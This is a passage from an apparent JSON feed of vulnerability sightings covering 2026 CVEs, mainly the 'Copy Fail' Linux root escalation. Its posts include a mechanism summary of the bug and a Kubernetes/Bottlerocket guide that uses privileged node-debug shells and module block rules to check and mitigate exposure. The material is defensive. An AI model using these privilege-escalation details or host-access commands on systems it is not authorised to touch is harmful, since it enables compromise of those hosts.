channel containing a pinned message.\nOpen WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.\nCVE-2026-45501: a vulnerability in Microsoft Exchange\nThe vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.\nAlthough Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.\nIt\u2019s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.\nConclusion and advice\nQ2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.\nAccordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-08-26T10:30:35.983224Z"}, {"uuid": "1b975966-f634-4cbf-ad72-eb61eecda15b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://t.me/sysadm_in_up/2546", "content": "OpenSSL Security Advisory [7th April 2026]\n==========================================\n\nIncorrect Failure Handling in RSA KEM RSASVE Encapsulation (CVE-2026-31790)\n==========================================\n\nhttps://openssl-library.org/news/secadv/20260407.txt", "creation_timestamp": "2026-07-29T12:03:14.175385Z"}, {"uuid": "9593a90b-ae12-4a88-bb79-2c9b6ab861a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/aenix_io/393", "content": "\ud83d\udee1 Security notice \u2014 GRO Frag (Linux kernel)\n\n\ud83d\udd0d What's the issue\nA new Linux kernel local privilege escalation has been disclosed \u2014 informally called GRO Frag. It's another variant in the same family as Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500) and Fragnesia (CVE-2026-46300) \u2014 a missing SKBFL_SHARED_FRAG flag propagation, this time in skb_gro_receive(). A local attacker can corrupt page-cache-backed memory (e.g. /usr/bin/su) and gain root.\n\n\ud83d\udcda References\n\u2022 CIQ \u2014 GRO variant analysis \u2014 https://ciq.com/blog/fragnesia-cve-2026-46300\n\u2022 Gentoo \u2014 Copy Fail / Dirty Frag / Fragnesia overview \u2014 https://www.gentoo.org/news/2026/05/19/copy-fail-fragnesia-vulnerabilities.html\n\n\u2705 Impact on your Cozystack tenants \u2014 none\nExploitation requires a privileged Linux capability (CAP_*_ADMIN) and the ability to run arbitrary code against the host kernel. In Cozystack:\n\n\u2022 tenant workloads run in unprivileged user namespaces \u2014 no CAP_SYS_ADMIN, no CAP_NET_ADMIN, no privileged containers\n\u2022 tenants cannot execute arbitrary code on the host \u2014 only inside their own sandboxed pods/VMs\n\u2022 even if those restrictions were bypassed, the privilege level required to drive the exploit is not reachable from a tenant context\n\nHost kernels will be patched as upstream vendor updates land \u2014 rolled out during the regular maintenance window. No action required on your side.", "creation_timestamp": "2026-07-30T00:00:31.264876Z"}, {"uuid": "371096cb-638b-428b-9bdc-eebffe073ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/makebreakreflect/326", "content": "#aws #eks #kubernetes #bottlerocket #troubleshooting #security #linux #CVE\n\n\u0421\u043e\u0440\u0440\u0438 \u0437\u0430 \u0447\u0430\u0441\u0442\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u2614\ufe0f\n\n\u041f\u043e\u043a\u0430 \u044f \u0431\u044b\u043b \u0432 \u043e\u0442\u043f\u0443\u0441\u043a\u0435 \u0438 \u0441\u043f\u0430\u043b, \u0441\u043d\u043e\u0432\u0430 \u0441\u043b\u043e\u043c\u0430\u043b\u0438 \u0432\u0441\u0435 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u044b.\n\n\u0412 \u043c\u0430\u0435 2026 \u0432\u044b\u0448\u043b\u0430 \u043f\u0430\u0440\u0430 \u0441\u0432\u0435\u0436\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f\u0434\u0440\u0430 linux \u0432 \u043e\u0441\n- \u043f\u0435\u0440\u0432\u0430\u044f: CVE-2026-31431, \u043e\u043d\u0430 \u0436\u0435 Copy Fail \nhttps://copy.fail \n- \u0432\u0442\u043e\u0440\u0430\u044f: Dirty Frag, \u0441\u043c\u0435\u0436\u043d\u0430\u044f \u043a \u043f\u0435\u0440\u0432\u043e\u0439\nhttps://github.com/V4bel/dirtyfrag \n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (LPE). \n\u0422\u043e \u0435\u0441\u0442\u044c \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043a\u043e\u0434 \u043d\u0430 \u0432\u0430\u0448\u0435\u0439 \u043d\u043e\u0434\u0435, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0440\u0443\u0442\u043e\u043c. \n\u0412 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 Kubernetes \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442.\n\n\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043f\u043e\u0448\u0451\u043b \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0430 \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438\u043b\u0438 \u043d\u0435\u0442.\n\u0421\u043f\u043e\u0441\u043e\u0431 1: \nkubectl debug node/<\u0438\u043c\u044f_\u043d\u043e\u0434\u044b> -it --image=busybox -- sh\n\u0412\u043d\u0443\u0442\u0440\u0438:\nchroot /host modprobe algif_aead\n\n\u0415\u0441\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0435:\nmodprobe: ERROR: could not insert 'algif_aead': Operation not permitted\n\u0412\u044b \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u044f AMI \u0441\u0442\u0430\u0440\u0430\u044f.\n\u0415\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0441\u044f \u0431\u0435\u0437 \u043e\u0448\u0438\u0431\u043e\u043a, \u0443\u044f\u0437\u0432\u0438\u043c\u044b, \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0434\u0430\u043b\u044c\u0448\u0435.\n\n\u0421\u043f\u043e\u0441\u043e\u0431 2: \u0447\u0435\u0440\u0435\u0437 SSM \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043d\u0430 \u043d\u043e\u0434\u0443 (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Bottlerocket)\n\u042d\u0442\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043b\u044f Bottlerocket. \n\u042f \u043f\u0438\u0441\u0430\u043b \u043e\u0431 \u044d\u0442\u043e\u043c \u043d\u0435 \u0440\u0430\u0437, \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0442\u0435\u0433\u0443  #bottlerocket\n\n\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u043d\u043e\u0434\u0435 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u0438:\ncat /proc/modules | grep -E 'algif_aead|esp4|esp6|rxrpc'\n\u0415\u0441\u043b\u0438 \u043f\u0443\u0441\u0442\u043e, \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u044b.\n\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\nmodprobe algif_aead\n\u0415\u0441\u043b\u0438 Operation not permitted, \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u0443 \u043d\u0430\u0441 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u0445\u043e\u0442\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u044f\u0434\u0440\u0430 \u0441\u0442\u0430\u0440\u0430\u044f\n\u0423 \u043d\u0430\u0441 EKS \u0441 Bottlerocket AMI. \nBottlerocket \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \nkernel.lockdown = integrity.\n\u0412 \u044d\u0442\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043d\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 modprobe \u0438\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430.\n\u0422\u043e \u0435\u0441\u0442\u044c Copy Fail + Dirty Frag \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043b\u0438 esp4/esp6/rxrpc \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434), \u043d\u043e lockdown \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0434\u0430\u0451\u0442 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c.\n\n\u042d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u0438\u0442\u044c\u0441\u044f. \n\u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b. \nDefence-in-depth \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u044f\u0432\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u0438 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435: \u044f\u0432\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u0438\n\u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u044b \u0438\u043b\u0438 \u043d\u0435\u0442, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0435\u0435 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439. \n\u041e\u0434\u0438\u043d lockdown \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e, \u043d\u043e \u044f\u0432\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043b\u0443\u0447\u0448\u0435.\n\nBottlerocket (Terraform, launch template + user data):\n\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 bottlerocket.tpl:\n[settings.kernel]\nlockdown = \"integrity\"\n\n[settings.kernel.modules.algif_aead]\nallowed = false\n\n[settings.kernel.modules.esp4]\nallowed = false\n\n[settings.kernel.modules.esp6]\nallowed = false\n\n[settings.kernel.modules.rxrpc]\nallowed = false\n\u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 Bottlerocket API. \n\u041e\u043d \u0441\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u043d\u0443\u0436\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 /etc/modprobe.d/ \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u043d\u043e\u0434\u044b.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 Karpenter, \u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u0432 NodeClass \u0438\u043b\u0438 EC2NodeClass \u0432 \u0441\u0435\u043a\u0446\u0438\u044e userData \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e distro. \n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u044b\u0435 Terraform-\u043c\u043e\u0434\u0443\u043b\u0438 \u0434\u043b\u044f \u043d\u043e\u0434-\u0433\u0440\u0443\u043f\u043f, \u0442\u043e \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0433\u0434\u0435 \u0443 \u0432\u0430\u0441 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f user_data \u0434\u043b\u044f launch template. \n\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u0442\u0443\u0434\u0430 \u0431\u043b\u043e\u043a \u0432\u044b\u0448\u0435. \n\u041f\u0430\u0442\u0442\u0435\u0440\u043d \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435, \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430.\n\n\u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c\n\u0414\u043b\u044f Bottlerocket \u0435\u0441\u0442\u044c \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431: \u0447\u0435\u0440\u0435\u0437 apiclient \u043f\u0440\u044f\u043c\u043e \u0441 \u043d\u043e\u0434\u044b, \u0431\u0435\u0437 debug \u043f\u043e\u0434\u043e\u0432 \u0438 \u0431\u0435\u0437 sheltie. \n\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 SSM send-command \u0438\u0437 \u043b\u044e\u0431\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u0433\u0434\u0435 \u0435\u0441\u0442\u044c aws cli.\n\n\u0423\u0437\u043d\u0430\u0451\u043c instance ID:\nkubectl get node <\u0438\u043c\u044f_\u043d\u043e\u0434\u044b> -o jsonpath='{.spec.providerID}' | sed 's|.*\\/||'\n\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 SSM:\naws ssm send-command \\\n  --instance-ids  \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters 'commands=[\"apiclient get settings.kernel\"]' \\\n  --region us-east-1\n\n\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:\naws ssm get-command-invocation \\\n  --command-id  \\\n  --instance-id  \\\n  --region us-east-1 \\\n  --query 'StandardOutputContent' \\\n  --output text\n\u0415\u0441\u043b\u0438 \u0432\u0441\u0451 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c, \u0443\u0432\u0438\u0434\u0438\u0442\u0435:\n{\n  \"settings\": {\n    \"kernel\": {\n      \"lockdown\": \"integrity\",\n      \"modules\": {\n        \"algif_aead\": { \"allowed\": false },\n        \"esp4\":       { \"allowed\": false },\n        \"esp6\":       { \"allowed\": false },\n        \"rxrpc\":      { \"allowed\": false }\n      }\n    }\n  }\n}\n\n\u0415\u0441\u043b\u0438 \u043f\u0430\u0442\u0447 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d, \u0442\u043e\u043b\u044c\u043a\u043e lockdown, \u0431\u0435\u0437 modules:\n{\n  \"settings\": {\n    \"kernel\": {\n      \"lockdown\": \"integrity\"\n    }\n  }\n}\n\n\u042d\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0433 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a, \u043a\u0430\u043a \u0435\u0433\u043e \u0432\u0438\u0434\u0438\u0442 \u0441\u0430\u043c\u0430 OS. \n\u041b\u0443\u0447\u0448\u0435 \u0447\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0440\u0443\u043a\u0430\u043c\u0438.\n\u041c\u043e\u0436\u043d\u043e \u0441\u043f\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435 \ud83d\udecc", "creation_timestamp": "2026-08-30T00:00:53.904306Z"}, {"uuid": "6980f2ed-bf79-4694-abd2-f139d012efb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/xhqcankao/29010", "content": "Linux\u5185\u6838\u66dd\u6f0f\u6d1e\uff1a\u53ef\u4f7f\u9ed1\u5ba2\u653b\u7834\u6240\u6709\u4e3b\u6d41Linux\u53d1\u884c\u7248\u83b7\u53d6Root\u6743\u9650\n\nLinux\u5185\u6838\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u540d\u4e3a\u201cCopy Fail\u201d\uff08CVE-2026-31431\uff09\u7684\u903b\u8f91\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u4f4d\u4e8eauthencesn\u52a0\u5bc6\u6a21\u677f\u4e2d\u3002\u5b83\u5141\u8bb8\u975e\u7279\u6743\u672c\u5730\u7528\u6237\u5728\u65e0\u9700\u7ade\u6001\u6761\u4ef6\u6216\u91cd\u8bd5\u7684\u60c5\u51b5\u4e0b\uff0c\u5bf9\u4efb\u4f55\u53ef\u8bfb\u6587\u4ef6\u7684\u9875\u7f13\u5b58\u6267\u884c\u786e\u5b9a\u6027\u76844\u5b57\u8282\u5199\u5165\u3002\u4e00\u4e2a732\u5b57\u8282\u7684Python\u811a\u672c\u5373\u53ef\u4fee\u6539setuid\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u4ece\u800c\u5728\u5305\u62ecUbuntu\u3001Amazon Linux\u3001RHEL\u548cSUSE\u5728\u5185\u7684\u51e0\u4e4e\u6240\u6709\u4e3b\u6d41Linux\u53d1\u884c\u7248\u4e0a\u83b7\u53d6root\u6743\u9650\u3002\u7531\u4e8e\u4ec5\u4fee\u6539\u5185\u5b58\u4e2d\u7684\u9875\u7f13\u5b58\uff0c\u56e0\u6b64\u786c\u76d8\u4e0a\u7684\u6587\u4ef6\u4fdd\u6301\u4e0d\u53d8\uff0c\u96be\u4ee5\u88ab\u5e38\u89c4\u6587\u4ef6\u5b8c\u6574\u6027\u5de5\u5177\u68c0\u6d4b\u3002\u6b64\u6f0f\u6d1e\u8fd8\u53ef\u7a7f\u900f\u5bb9\u5668\u8fb9\u754c\u3002\u5176\u6839\u672c\u539f\u56e0\u662fAF_ALG\u4e0esplice()\u7ed3\u5408\uff0c\u5c06\u9875\u7f13\u5b58\u9875\u7f6e\u4e8e\u53ef\u5199\u6563\u5217\u5217\u8868\u4e2d\uff0c\u5e76\u88abauthencesn\u7684\u8d8a\u754c\u5199\u5165\u5229\u7528\u3002\u4fee\u590d\u65b9\u6848\u662f\u64a4\u95002017\u5e74\u5f15\u5165\u7684in-place\u4f18\u5316\u3002\n\n\u2014\u2014 xint.io", "creation_timestamp": "2026-08-30T00:00:54.889434Z"}, {"uuid": "69c65c54-a149-4cdb-876d-4d37dacec29a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/xhqcankao/29010", "content": "Linux\u5185\u6838\u66dd\u6f0f\u6d1e\uff1a\u53ef\u4f7f\u9ed1\u5ba2\u653b\u7834\u6240\u6709\u4e3b\u6d41Linux\u53d1\u884c\u7248\u83b7\u53d6Root\u6743\u9650\n\nLinux\u5185\u6838\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u540d\u4e3a\u201cCopy Fail\u201d\uff08CVE-2026-31431\uff09\u7684\u903b\u8f91\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u4f4d\u4e8eauthencesn\u52a0\u5bc6\u6a21\u677f\u4e2d\u3002\u5b83\u5141\u8bb8\u975e\u7279\u6743\u672c\u5730\u7528\u6237\u5728\u65e0\u9700\u7ade\u6001\u6761\u4ef6\u6216\u91cd\u8bd5\u7684\u60c5\u51b5\u4e0b\uff0c\u5bf9\u4efb\u4f55\u53ef\u8bfb\u6587\u4ef6\u7684\u9875\u7f13\u5b58\u6267\u884c\u786e\u5b9a\u6027\u76844\u5b57\u8282\u5199\u5165\u3002\u4e00\u4e2a732\u5b57\u8282\u7684Python\u811a\u672c\u5373\u53ef\u4fee\u6539setuid\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u4ece\u800c\u5728\u5305\u62ecUbuntu\u3001Amazon Linux\u3001RHEL\u548cSUSE\u5728\u5185\u7684\u51e0\u4e4e\u6240\u6709\u4e3b\u6d41Linux\u53d1\u884c\u7248\u4e0a\u83b7\u53d6root\u6743\u9650\u3002\u7531\u4e8e\u4ec5\u4fee\u6539\u5185\u5b58\u4e2d\u7684\u9875\u7f13\u5b58\uff0c\u56e0\u6b64\u786c\u76d8\u4e0a\u7684\u6587\u4ef6\u4fdd\u6301\u4e0d\u53d8\uff0c\u96be\u4ee5\u88ab\u5e38\u89c4\u6587\u4ef6\u5b8c\u6574\u6027\u5de5\u5177\u68c0\u6d4b\u3002\u6b64\u6f0f\u6d1e\u8fd8\u53ef\u7a7f\u900f\u5bb9\u5668\u8fb9\u754c\u3002\u5176\u6839\u672c\u539f\u56e0\u662fAF_ALG\u4e0esplice()\u7ed3\u5408\uff0c\u5c06\u9875\u7f13\u5b58\u9875\u7f6e\u4e8e\u53ef\u5199\u6563\u5217\u5217\u8868\u4e2d\uff0c\u5e76\u88abauthencesn\u7684\u8d8a\u754c\u5199\u5165\u5229\u7528\u3002\u4fee\u590d\u65b9\u6848\u662f\u64a4\u95002017\u5e74\u5f15\u5165\u7684in-place\u4f18\u5316\u3002\n\n\u2014\u2014 xint.io", "creation_timestamp": "2026-08-31T00:00:09.065833Z"}, {"uuid": "43ed9c8c-e058-4f49-b7a8-2010834837fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31283", "type": "published-proof-of-concept", "source": "Telegram/TpD_EhiVvoRRT5pQQyvb-1r61ahWr8WRyHVAuHr5I07s1ek", "content": "", "creation_timestamp": "2026-08-31T00:00:46.952590Z"}, {"uuid": "7d46d325-3162-425f-99bb-efc6c0cbc159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/CyberDispatch/1514", "content": "A new #Linux flaw is now under active exploitation.\n\nCISA added CVE-2026-31431 to its KEV list. The bug lets low-privilege users gain full root access. Patches released.", "creation_timestamp": "2026-08-31T00:00:28.133181Z"}, {"uuid": "bd87adf2-ee70-4980-ba0e-522e8b2232ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/CyberDispatch/1509", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV.", "creation_timestamp": "2026-08-31T00:00:36.351634Z"}, {"uuid": "65155f3c-f4b0-4737-a0fd-a7ca9f267928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31629", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260901", "content": "", "creation_timestamp": "2026-09-01T04:45:12.931581Z"}, {"uuid": "8f96e683-7727-434e-98a6-82c35321c1f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31759", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260901", "content": "", "creation_timestamp": "2026-09-01T04:45:15.205067Z"}, {"uuid": "e6177306-5331-4faa-8b88-05463159066a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31321", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-02T01:00:04.662191Z"}, {"uuid": "accd0276-1d88-4d11-bb0d-37ce2fa37ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskylab_ru/7324", "content": "\u2757\ufe0f CopyFail \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c \u041e\u0421 Linux\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432\u0447\u0435\u0440\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (\u043e\u043d\u0430 \u0436\u0435 \u2014 CopyFail) \u0436\u0438\u0432\u0451\u0442 \u0432 \u043a\u043e\u0434\u0435 \u0441 2017 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c 